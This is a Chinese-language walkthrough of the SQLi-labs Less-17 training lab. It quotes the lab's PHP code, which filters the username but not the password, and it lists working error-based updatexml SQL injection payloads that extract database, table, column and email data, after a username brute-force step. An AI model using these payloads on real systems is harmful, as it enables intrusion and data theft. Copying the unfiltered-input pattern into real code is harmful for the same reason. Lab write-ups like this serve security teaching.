SQLi-labs(Less-17)

Less-17

POST - Update Query- Error Based - String
  • username中输入任何测试符号都无济于事。查看源码,后端对uname有过滤:

function check_input($value)
	{
	if(!empty($value))		 //检测这个形参是否为空。
		{
		// truncation (see comments)
		$value = substr($value,0,15); 		//分割一串字符串的效果, 第二个参数是从第0个字符开始切割, 后面是限制长度为15。
		}
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())		//检测是否开启了魔术引号这个配置。
			{
			$value = stripslashes($value);		//去除含有转义符\的字符串
			}
		// Quote if not a number
		if (!ctype_digit($value))	//检测是否为纯数字
			{
			$value = "'" . mysql_real_escape_string($value) . "'";  //转义SQL语句中使用的字符串中的特殊字符
			}
	else
		{
		$value = intval($value);	//强制转换成int整形的意思, 成功时返回变量的int值 ,比如'-1'转成1, 失败时就会返回0
		}
	return $value;
	}

// 获取变量
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//确保uname中没有注入
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);

// connectivity 连通
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  • 由以上源码可知,对uname做的检测过滤,而没有对passwd做过滤。所以,得想办法获取正确的uname,然后在passwd处进行注入。
  • uname可以选择通过爆破的形式运气获取,抓取登录提交数据包(其中在username处输入一个单引号):
    在这里插入图片描述
  • 爆破uname,通过筛选响应包的Length发现 uname=admin时有SQL错误返回。所以用户名为admin。
    在这里插入图片描述
  • 标定uname,对passwd注入点进行注入,万能密码成功绕过。
    在这里插入图片描述
  • 注意回显页面有:New PasswordSUCCESSFULLY UPDATED YOUR PASSWORD
爆库名:
uname=admin&passwd=1' or updatexml(1,concat('*',(select database()),'*'),1)#
爆表名:
uname=admin&passwd=1' or updatexml(1,concat('*',(select group_concat(table_name)from information_schema.tables where table_schema='security'),'*'),1) #
爆列名:
uname=admin&passwd=1' or updatexml(1,concat('*',(select group_concat(column_name)from information_schema.columns where table_name='users'),'*'),1) #
爆数据:
uname=admin&passwd=1' or updatexml(1,concat('*',(select email_id from emails limit 2,1),'*'),1) #
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值